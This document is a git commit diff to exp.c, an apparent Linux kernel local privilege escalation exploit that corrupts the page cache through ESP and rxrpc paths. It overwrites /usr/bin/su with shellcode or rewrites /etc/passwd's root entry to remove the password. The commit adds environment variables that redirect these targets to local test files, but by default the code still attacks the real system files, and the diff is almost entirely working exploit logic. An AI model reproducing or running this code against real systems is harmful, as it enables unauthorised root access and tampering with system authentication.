implement local file mode without poisoning pagecache for su or passwd globaly

- fully implement POC_TARGET_PATH (passwd)
  - remove definition of TARGET_PATH
  - rework to use dynamic version from environment
- add POC_SU_TARGET_PATH
This commit is contained in:
Michael Gebetsroither 2026-05-08 23:36:01 +02:00
parent 07995be9d9
commit 4a609f92be

56
exp.c
View file

@ -34,7 +34,6 @@
#define ENC_PORT 4500 #define ENC_PORT 4500
#define SEQ_VAL 200 #define SEQ_VAL 200
#define REPLAY_SEQ 100 #define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
@ -288,7 +287,7 @@ static int verify_byte(const char *path, off_t offset, uint8_t want)
return got == want ? 0 : -1; return got == want ? 0 : -1;
} }
static int corrupt_su(void) static int corrupt_su(const char *su_target_path)
{ {
setup_userns_netns(); setup_userns_netns();
usleep(100 * 1000); usleep(100 * 1000);
@ -312,13 +311,13 @@ static int corrupt_su(void)
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i; uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4; off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) { if (do_one_write(su_target_path, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1; return -1;
} }
} }
SLOG("wrote %d bytes to %s starting at 0x%x", SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); PAYLOAD_LEN, su_target_path, PATCH_OFFSET);
return 0; return 0;
} }
@ -332,10 +331,13 @@ int su_lpe_main(int argc, char **argv)
} }
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
const char *su_target_path = getenv("POC_SU_TARGET_FILE");
if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su";
pid_t cpid = fork(); pid_t cpid = fork();
if (cpid < 0) return 1; if (cpid < 0) return 1;
if (cpid == 0) { if (cpid == 0) {
int rc = corrupt_su(); int rc = corrupt_su(su_target_path);
_exit(rc == 0 ? 0 : 2); _exit(rc == 0 ? 0 : 2);
} }
int cstatus; int cstatus;
@ -348,13 +350,13 @@ int su_lpe_main(int argc, char **argv)
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78 /* Sanity check: bytes at the embedded ELF entry (file offset 0x78
* after our overwrite) should be 0x31 0xff (xor edi, edi first * after our overwrite) should be 0x31 0xff (xor edi, edi first
* instruction of the new shellcode). */ * instruction of the new shellcode). */
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || if (verify_byte(su_target_path, ENTRY_OFFSET, 0x31) != 0 ||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { verify_byte(su_target_path, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)"); SLOG("post-write verify failed (target unchanged)");
return 1; return 1;
} }
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", SLOG("%s page-cache patched (entry 0x%x = shellcode)",
ENTRY_OFFSET); su_target_path, ENTRY_OFFSET);
return 0; return 0;
} }
/* /*
@ -1287,15 +1289,15 @@ int rxrpc_lpe_main(int argc, char **argv)
{ {
const char *m = (const char *)map; const char *m = (const char *)map;
if (memcmp(m, "root::0:0", 9) == 0) { if (memcmp(m, "root::0:0", 9) == 0) {
LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); LOG("%s already patched (root::0:0...) — nothing to do", target_path);
return 0; return 0;
} }
LOG("/etc/passwd line 1 first 16 bytes:"); LOG("%s line 1 first 16 bytes:", target_path);
for (int i = 0; i < 16; i++) for (int i = 0; i < 16; i++)
fprintf(stderr, "%02x ", (uint8_t)m[i]); fprintf(stderr, "%02x ", (uint8_t)m[i]);
fprintf(stderr, "\n"); fprintf(stderr, "\n");
} }
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); fprintf(stderr, "[*] %s line 1 (root entry) BEFORE: '", target_path);
for (int i = 0; i < 32; i++) { for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i]; char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
@ -1408,7 +1410,7 @@ int rxrpc_lpe_main(int argc, char **argv)
} }
} }
fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); fprintf(stderr, "\n[+] Predicted post-corruption %s line 1:\n \"root", target_path);
/* chars 4-5 from P_A */ /* chars 4-5 from P_A */
for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
/* chars 6-7 from P_B */ /* chars 6-7 from P_B */
@ -1441,7 +1443,7 @@ int rxrpc_lpe_main(int argc, char **argv)
} }
/* Verify: re-read line 1 of /etc/passwd via mmap. */ /* Verify: re-read line 1 of /etc/passwd via mmap. */
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); fprintf(stderr, "[*] %s line 1 (root entry) AFTER: '", target_path);
for (int i = 0; i < 32; i++) { for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i]; char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
@ -1693,9 +1695,9 @@ static const uint8_t su_marker[8] = {
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
}; };
static int su_already_patched(void) static int su_already_patched(const char *su_target_path)
{ {
int fd = open("/usr/bin/su", O_RDONLY); int fd = open(su_target_path, O_RDONLY);
if (fd < 0) if (fd < 0)
return 0; return 0;
uint8_t got[8]; uint8_t got[8];
@ -1706,9 +1708,9 @@ static int su_already_patched(void)
return memcmp(got, su_marker, sizeof(su_marker)) == 0; return memcmp(got, su_marker, sizeof(su_marker)) == 0;
} }
static int passwd_already_patched(void) static int passwd_already_patched(const char *target_path)
{ {
int fd = open("/etc/passwd", O_RDONLY); int fd = open(target_path, O_RDONLY);
if (fd < 0) if (fd < 0)
return 0; return 0;
char head[16]; char head[16];
@ -1719,9 +1721,9 @@ static int passwd_already_patched(void)
return memcmp(head, "root::0:0", 9) == 0; return memcmp(head, "root::0:0", 9) == 0;
} }
static int either_target_patched(void) static int either_target_patched(const char *target_path, const char *su_target_path)
{ {
return su_already_patched() || passwd_already_patched(); return su_already_patched(su_target_path) || passwd_already_patched(target_path);
} }
static void silence_stderr(int *saved_fd) static void silence_stderr(int *saved_fd)
@ -1901,6 +1903,12 @@ int main(int argc, char **argv)
int new_argc; int new_argc;
char **co_argv; char **co_argv;
const char *target_path = getenv("POC_TARGET_FILE");
if (!target_path || !*target_path) target_path = "/etc/passwd";
const char *su_target_path = getenv("POC_SU_TARGET_FILE");
if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su";
for (int i = 1; i < argc; i++) { for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--force-esp")) if (!strcmp(argv[i], "--force-esp"))
force_esp = 1; force_esp = 1;
@ -1923,20 +1931,20 @@ int main(int argc, char **argv)
if (force_rxrpc) { if (force_rxrpc) {
rc = rxrpc_lpe_main(new_argc, co_argv); rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++) for (int i = 0; !passwd_already_patched(target_path) && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv); rc = rxrpc_lpe_main(new_argc, co_argv);
} else if (force_esp) { } else if (force_esp) {
rc = su_lpe_main(new_argc, co_argv); rc = su_lpe_main(new_argc, co_argv);
} else { } else {
rc = su_lpe_main(new_argc, co_argv); rc = su_lpe_main(new_argc, co_argv);
if (!su_already_patched()) { if (!su_already_patched(su_target_path)) {
rc = rxrpc_lpe_main(new_argc, co_argv); rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++) for (int i = 0; !passwd_already_patched(target_path) && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv); rc = rxrpc_lpe_main(new_argc, co_argv);
} }
} }
int patched = either_target_patched(); int patched = either_target_patched(target_path, su_target_path);
if (!verbose) if (!verbose)
restore_stderr(saved_err); restore_stderr(saved_err);